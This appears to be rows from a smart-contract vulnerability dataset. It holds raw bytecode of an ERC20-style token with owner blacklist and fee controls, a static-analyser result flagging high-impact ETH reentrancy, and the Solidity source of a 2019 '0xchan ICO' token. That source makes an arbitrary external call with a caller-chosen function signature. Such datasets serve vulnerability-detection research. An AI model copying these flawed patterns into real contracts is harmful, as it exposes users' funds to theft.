02c160175481565b34801561048e57600080fd5b5060408051808201909152600881526726a7ab24a723a7a760c11b602082015261022c565b3480156104bf57600080fd5b506101fc6104ce366004611b31565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4a565b610937565b3480156104ff57600080fd5b5061026261050e366004611a7c565b610975565b34801561051f57600080fd5b5061026261052e366004611ae9565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7c565b6109d6565b34801561058457600080fd5b506102c1610593366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b31565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611ae9565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c39565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9a565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c39565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c39565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c39565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c39565b60005b82811015610a71578160056000868685818110610a2257610a22611c6e565b9050602002016020810190610a379190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9a565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c39565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c39565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb5565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce4565b816001815181106113cf576113cf611c6e565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d01565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611736565b6001600160a01b0389166000908152600260205260409020556115c781611795565b6115d184836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164482826114c2565b82101561166057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c461149f565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117438385611cb5565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061179f61149f565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c2565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106ae565b60006118c38385611d94565b9050826118d08583611d72565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112e18161193d565b8035801515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112e182611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112e18161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c43ee3a68298cd48ff2af1d2a9f03f618fedd17f34096f0d820322d54336cd464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,457
0xa7f7831a7d5f304ae348d83534e8de165448b2a5
pragma solidity ^0.5.2; interface ERC223Handler { function tokenFallback(address _from, uint _value, bytes calldata _data) external; } interface ICOStickers { function giveSticker(address _to, uint256 _property) external; } contract ICOToken{ using SafeMath for uint256; using SafeMath for uint; modifier onlyOwner { require(msg.sender == owner); _; } constructor(address _s) public{ stickers = ICOStickers(_s); totalSupply = 0; owner = msg.sender; } address owner; address newOwner; uint256 constant internal MAX_UINT256 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; uint256 constant internal TOKEN_PRICE = 0.0001 ether; uint256 constant public fundingCap = 2000 ether; uint256 constant public IcoStartTime = 1546628400; // Jan 04 2019 20:00:00 GMT+0100 uint256 constant public IcoEndTime = 1550084400; // Feb 13 2019 20:00:00 GMT+0100 ICOStickers internal stickers; mapping(address => uint256) internal beneficiaryWithdrawAmount; mapping(address => uint256) public beneficiaryShares; uint256 public beneficiaryTotalShares; uint256 public beneficiaryPayoutPerShare; uint256 public icoFunding; mapping(address => uint256) public balanceOf; mapping(address => uint256) public etherSpent; mapping(address => mapping (address => uint256)) internal allowances; string constant public name = "0xchan ICO"; string constant public symbol = "ZCI"; uint8 constant public decimals = 18; uint256 public totalSupply; // --Events event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint value); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event onICOBuy(address indexed from, uint256 tokens, uint256 bonusTokens); // --Events-- // --Owner only functions function setNewOwner(address o) public onlyOwner { newOwner = o; } function acceptNewOwner() public { require(msg.sender == newOwner); owner = msg.sender; } // For the 0xchan ICO, the following beneficieries will be added. // 3 - Aritz // 3 - Sumpunk // 2 - Multisig wallet for bounties/audit payments function addBeneficiary(address b, uint256 shares) public onlyOwner { require(block.timestamp < IcoStartTime, "ICO has started"); require(beneficiaryWithdrawAmount[b] == 0, "Already a beneficiary"); beneficiaryWithdrawAmount[b] = MAX_UINT256; beneficiaryShares[b] = shares; beneficiaryTotalShares += shares; } function removeBeneficiary(address b, uint256 shares) public onlyOwner { require(block.timestamp < IcoStartTime, "ICO has started"); require(beneficiaryWithdrawAmount[b] != 0, "Not a beneficiary"); delete beneficiaryWithdrawAmount[b]; delete beneficiaryShares[b]; beneficiaryTotalShares -= shares; } // --Owner only functions-- // --Public write functions function withdrawFunding(uint256 _amount) public { if (icoFunding == 0){ require(address(this).balance >= fundingCap || block.timestamp >= IcoEndTime, "ICO hasn't ended"); icoFunding = address(this).balance; } require(beneficiaryWithdrawAmount[msg.sender] > 0, "You're not a beneficiary"); uint256 stash = beneficiaryStash(msg.sender); if (_amount >= stash){ beneficiaryWithdrawAmount[msg.sender] = beneficiaryPayoutPerShare * beneficiaryShares[msg.sender]; msg.sender.transfer(stash); }else{ if (beneficiaryWithdrawAmount[msg.sender] == MAX_UINT256){ beneficiaryWithdrawAmount[msg.sender] = _amount; }else{ beneficiaryWithdrawAmount[msg.sender] += _amount; } msg.sender.transfer(_amount); } } function() payable external{ require(block.timestamp >= IcoStartTime, "ICO hasn't started yet"); require(icoFunding == 0 && block.timestamp < IcoEndTime, "ICO has ended"); require(msg.value != 0 && ((msg.value % TOKEN_PRICE) == 0), "Must be a multiple of 0.0001 ETH"); uint256 thisBalance = address(this).balance; uint256 msgValue = msg.value; // While the extra ETH is appriciated, we set ourselves a hardcap and we're gonna stick to it! if (thisBalance > fundingCap){ msgValue -= (thisBalance - fundingCap); require(msgValue != 0, "Funding cap has been reached"); thisBalance = fundingCap; } uint256 oldBalance = thisBalance - msgValue; uint256 tokensToGive = (msgValue / TOKEN_PRICE) * 1e18; uint256 bonusTokens; uint256 difference; while (oldBalance < thisBalance){ if (oldBalance < 500 ether){ difference = min(500 ether, thisBalance) - oldBalance; bonusTokens += ((difference / TOKEN_PRICE) * 1e18) / 2; oldBalance += difference; }else if(oldBalance < 1250 ether){ difference = min(1250 ether, thisBalance) - oldBalance; bonusTokens += ((difference / TOKEN_PRICE) * 1e18) / 5; oldBalance += difference; }else{ difference = thisBalance - oldBalance; bonusTokens += ((difference / TOKEN_PRICE) * 1e18) / 10; oldBalance += difference; } } emit onICOBuy(msg.sender, tokensToGive, bonusTokens); tokensToGive += bonusTokens; balanceOf[msg.sender] += tokensToGive; totalSupply += tokensToGive; if (address(stickers) != address(0)){ stickers.giveSticker(msg.sender, msgValue); } emit Transfer(address(this), msg.sender, tokensToGive, ""); emit Transfer(address(this), msg.sender, tokensToGive); beneficiaryPayoutPerShare = thisBalance / beneficiaryTotalShares; etherSpent[msg.sender] += msgValue; if (msgValue != msg.value){ // Finally return any extra ETH sent. msg.sender.transfer(msg.value - msgValue); } } function transfer(address _to, uint _value, bytes memory _data, string memory _function) public returns(bool ok){ actualTransfer(msg.sender, _to, _value, _data, _function, true); return true; } function transfer(address _to, uint _value, bytes memory _data) public returns(bool ok){ actualTransfer(msg.sender, _to, _value, _data, "", true); return true; } function transfer(address _to, uint _value) public returns(bool ok){ actualTransfer(msg.sender, _to, _value, "", "", true); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { uint256 _allowance = allowances[_from][msg.sender]; require(_allowance > 0, "Not approved"); require(_allowance >= _value, "Over spending limit"); allowances[_from][msg.sender] = _allowance.sub(_value); actualTransfer(_from, _to, _value, "", "", false); return true; } // --Public write functions-- // --Public read-only functions function beneficiaryStash(address b) public view returns (uint256){ uint256 withdrawAmount = beneficiaryWithdrawAmount[b]; if (withdrawAmount == 0){ return 0; } if (withdrawAmount == MAX_UINT256){ return beneficiaryPayoutPerShare * beneficiaryShares[b]; } return (beneficiaryPayoutPerShare * beneficiaryShares[b]) - withdrawAmount; } function allowance(address _sugardaddy, address _spender) public view returns (uint remaining) { return allowances[_sugardaddy][_spender]; } // --Public read-only functions-- // Internal functions function actualTransfer (address _from, address _to, uint _value, bytes memory _data, string memory _function, bool _careAboutHumanity) private { // You can only transfer this token after the ICO has ended. require(icoFunding != 0 || address(this).balance >= fundingCap || block.timestamp >= IcoEndTime, "ICO hasn't ended"); require(balanceOf[_from] >= _value, "Insufficient balance"); require(_to != address(this), "You can't sell back your tokens"); // Throwing an exception undos all changes. Otherwise changing the balance now would be a shitshow balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); if(_careAboutHumanity && isContract(_to)) { if (bytes(_function).length == 0){ ERC223Handler receiver = ERC223Handler(_to); receiver.tokenFallback(_from, _value, _data); }else{ bool success; bytes memory returnData; (success, returnData) = _to.call.value(0)(abi.encodeWithSignature(_function, _from, _value, _data)); assert(success); } } emit Transfer(_from, _to, _value, _data); emit Transfer(_from, _to, _value); } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } function min(uint256 i1, uint256 i2) private pure returns (uint256) { if (i1 < i2){ return i1; } return i2; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0 || b == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
0x608060405260043610610183576000357c01000000000000000000000000000000000000000000000000000000009004806396074e70116100ee578063dd62ed3e116100a7578063ec6f509e11610081578063ec6f509e14610a89578063f05a781d14610a9e578063f5a1f5b414610ab3578063f6368f8a14610ae657610183565b8063dd62ed3e14610a24578063dd68620314610a5f578063e3b2594f14610a7457610183565b806396074e701461088d578063a9059cbb146108c6578063be45fd62146108ff578063c0a8d117146109c7578063c90f4999146109dc578063dbe6e987146109f157610183565b80633697f055116101405780633697f0551461077a5780635915b6df146107a6578063650944a6146107d957806370a082311461080c5780637ba64e401461083f57806395d89b411461087857610183565b806306fdde03146105f9578063095ea7b31461068357806318160ddd146106d057806323b872dd146106f757806325c0ce781461073a578063313ce5671461074f575b635c2fad304210156101df576040805160e560020a62461bcd02815260206004820152601660248201527f49434f206861736e277420737461727465642079657400000000000000000000604482015290519081900360640190fd5b6007541580156101f25750635c64693042105b1515610248576040805160e560020a62461bcd02815260206004820152600d60248201527f49434f2068617320656e64656400000000000000000000000000000000000000604482015290519081900360640190fd5b341580159061025d5750655af3107a40003406155b15156102b3576040805160e560020a62461bcd02815260206004820181905260248201527f4d7573742062652061206d756c7469706c65206f6620302e3030303120455448604482015290519081900360640190fd5b303134686c6b935b8bbd40000082111561033957819003686c6b935b8bbd4000000180151561032c576040805160e560020a62461bcd02815260206004820152601c60248201527f46756e64696e672063617020686173206265656e207265616368656400000000604482015290519081900360640190fd5b686c6b935b8bbd40000091505b808203670de0b6b3a7640000655af3107a40008304026000805b8584101561041157681b1ae4d6e2ef5000008410156103b15783610380681b1ae4d6e2ef50000088610c35565b0390506002655af3107a4000825b04670de0b6b3a7640000028115156103a257fe5b0482019150808401935061040c565b6843c33c1937564800008410156103e857836103d66843c33c19375648000088610c35565b0390506005655af3107a40008261038e565b50828503600a670de0b6b3a7640000655af3107a4000830402048201915080840193505b610353565b6040805184815260208101849052815133927f86e3ea821331e888de572e938c2a34a0a3c731a6b531e01d410c76a221ec0e04928290030190a233600090815260086020526040902080549383019384019055600b805484019055600254600160a060020a03161561050257600254604080517f589e74be000000000000000000000000000000000000000000000000000000008152336004820152602481018890529051600160a060020a039092169163589e74be9160448082019260009290919082900301818387803b1580156104e957600080fd5b505af11580156104fd573d6000803e3d6000fd5b505050505b6040805184815290517fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47091339130917fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16919081900360200190a4604080518481529051339130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3600554868115156105a057fe5b046006553360009081526009602052604090208054860190553485146105f15760405133903487900380156108fc02916000818181858888f193505050501580156105ef573d6000803e3d6000fd5b505b505050505050005b34801561060557600080fd5b5061060e610c4f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610648578181015183820152602001610630565b50505050905090810190601f1680156106755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068f57600080fd5b506106bc600480360360408110156106a657600080fd5b50600160a060020a038135169060200135610c86565b604080519115158252519081900360200190f35b3480156106dc57600080fd5b506106e5610cec565b60408051918252519081900360200190f35b34801561070357600080fd5b506106bc6004803603606081101561071a57600080fd5b50600160a060020a03813581169160208101359091169060400135610cf2565b34801561074657600080fd5b506106e5610e2c565b34801561075b57600080fd5b50610764610e32565b6040805160ff9092168252519081900360200190f35b34801561078657600080fd5b506107a46004803603602081101561079d57600080fd5b5035610e37565b005b3480156107b257600080fd5b506106e5600480360360208110156107c957600080fd5b5035600160a060020a0316610ffc565b3480156107e557600080fd5b506106e5600480360360208110156107fc57600080fd5b5035600160a060020a031661100e565b34801561081857600080fd5b506106e56004803603602081101561082f57600080fd5b5035600160a060020a031661108c565b34801561084b57600080fd5b506107a46004803603604081101561086257600080fd5b50600160a060020a03813516906020013561109e565b34801561088457600080fd5b5061060e6111b2565b34801561089957600080fd5b506107a4600480360360408110156108b057600080fd5b50600160a060020a0381351690602001356111e9565b3480156108d257600080fd5b506106bc600480360360408110156108e957600080fd5b50600160a060020a0381351690602001356112ff565b34801561090b57600080fd5b506106bc6004803603606081101561092257600080fd5b600160a060020a038235169160208101359181019060608101604082013564010000000081111561095257600080fd5b82018360208201111561096457600080fd5b8035906020019184600183028401116401000000008311171561098657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611339945050505050565b3480156109d357600080fd5b506106e5611364565b3480156109e857600080fd5b506106e561136a565b3480156109fd57600080fd5b506106e560048036036020811015610a1457600080fd5b5035600160a060020a0316611372565b348015610a3057600080fd5b506106e560048036036040811015610a4757600080fd5b50600160a060020a0381358116916020013516611384565b348015610a6b57600080fd5b506106e56113af565b348015610a8057600080fd5b506106e56113b5565b348015610a9557600080fd5b506106e56113c2565b348015610aaa57600080fd5b506107a46113ca565b348015610abf57600080fd5b506107a460048036036020811015610ad657600080fd5b5035600160a060020a0316611402565b348015610af257600080fd5b506106bc60048036036080811015610b0957600080fd5b600160a060020a0382351691602081013591810190606081016040820135640100000000811115610b3957600080fd5b820183602082011115610b4b57600080fd5b80359060200191846001830284011164010000000083111715610b6d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050640100000000811115610bc057600080fd5b820183602082011115610bd257600080fd5b80359060200191846001830284011164010000000083111715610bf457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611448945050505050565b600081831015610c46575081610c49565b50805b92915050565b60408051808201909152600a81527f30786368616e2049434f00000000000000000000000000000000000000000000602082015281565b336000818152600a60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600b5481565b600160a060020a0383166000908152600a60209081526040808320338452909152812054818111610d6d576040805160e560020a62461bcd02815260206004820152600c60248201527f4e6f7420617070726f7665640000000000000000000000000000000000000000604482015290519081900360640190fd5b82811015610dc5576040805160e560020a62461bcd02815260206004820152601360248201527f4f766572207370656e64696e67206c696d697400000000000000000000000000604482015290519081900360640190fd5b610dd5818463ffffffff61145916565b600160a060020a0386166000908152600a60209081526040808320338452825280832093909355825180820184528281528351918201909352818152610e21928892889288929161146b565b506001949350505050565b60065481565b601281565b6007541515610eb957686c6b935b8bbd4000003031101580610e5d5750635c6469304210155b1515610eb3576040805160e560020a62461bcd02815260206004820152601060248201527f49434f206861736e277420656e64656400000000000000000000000000000000604482015290519081900360640190fd5b30316007555b3360009081526003602052604081205411610f1e576040805160e560020a62461bcd02815260206004820152601860248201527f596f75277265206e6f7420612062656e65666963696172790000000000000000604482015290519081900360640190fd5b6000610f293361100e565b9050808210610f835733600081815260046020908152604080832054600654600390935281842092029091555183156108fc0291849190818181858888f19350505050158015610f7d573d6000803e3d6000fd5b50610ff8565b336000908152600360205260409020546000191415610fb357336000908152600360205260409020829055610fc9565b3360009081526003602052604090208054830190555b604051339083156108fc029084906000818181858888f19350505050158015610ff6573d6000803e3d6000fd5b505b5050565b60096020526000908152604090205481565b600160a060020a038116600090815260036020526040812054801515611038576000915050611087565b600019811415611066575050600160a060020a03811660009081526004602052604090205460065402611087565b600160a060020a038316600090815260046020526040902054600654020390505b919050565b60086020526000908152604090205481565b600054600160a060020a031633146110b557600080fd5b635c2fad304210611110576040805160e560020a62461bcd02815260206004820152600f60248201527f49434f2068617320737461727465640000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038216600090815260036020526040902054151561117f576040805160e560020a62461bcd02815260206004820152601160248201527f4e6f7420612062656e6566696369617279000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a039091166000908152600360209081526040808320839055600490915281205560058054919091039055565b60408051808201909152600381527f5a43490000000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461120057600080fd5b635c2fad30421061125b576040805160e560020a62461bcd02815260206004820152600f60248201527f49434f2068617320737461727465640000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038216600090815260036020526040902054156112c9576040805160e560020a62461bcd02815260206004820152601560248201527f416c726561647920612062656e65666963696172790000000000000000000000604482015290519081900360640190fd5b600160a060020a039091166000908152600360209081526040808320600019905560049091529020819055600580549091019055565b600061133033848460206040519081016040528060008152506020604051908101604052806000815250600161146b565b50600192915050565b600061135a338585856020604051908101604052806000815250600161146b565b5060019392505050565b60075481565b635c64693081565b60046020526000908152604090205481565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b60055481565b686c6b935b8bbd40000081565b635c2fad3081565b600154600160a060020a031633146113e157600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff191633179055565b600054600160a060020a0316331461141957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610e213386868686600161146b565b60008282111561146557fe5b50900390565b6007541515806114855750686c6b935b8bbd400000303110155b806114945750635c6469304210155b15156114ea576040805160e560020a62461bcd02815260206004820152601060248201527f49434f206861736e277420656e64656400000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03861660009081526008602052604090205484111561155a576040805160e560020a62461bcd02815260206004820152601460248201527f496e73756666696369656e742062616c616e6365000000000000000000000000604482015290519081900360640190fd5b600160a060020a0385163014156115bb576040805160e560020a62461bcd02815260206004820152601f60248201527f596f752063616e27742073656c6c206261636b20796f757220746f6b656e7300604482015290519081900360640190fd5b600160a060020a0386166000908152600860205260409020546115e4908563ffffffff61145916565b600160a060020a038088166000908152600860205260408082209390935590871681522054611619908563ffffffff611a3516565b600160a060020a038616600090815260086020526040902055808015611643575061164385611a42565b156119495781511515611746576040517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483019081526024830187905260606044840190815286516064850152865189949385169363c0ee0b8a938c938b938b9360840190602085019080838360005b838110156116da5781810151838201526020016116c2565b50505050905090810190601f1680156117075780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561172857600080fd5b505af115801561173c573d6000803e3d6000fd5b5050505050611949565b6000606086600160a060020a03166000858a89896040516024018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117b85781810151838201526020016117a0565b50505050905090810190601f1680156117e55780820380516001836020036101000a031916815260200191505b50945050505050604051602081830303815290604052906040518082805190602001908083835b6020831061182b5780518252601f1990920191602091820191016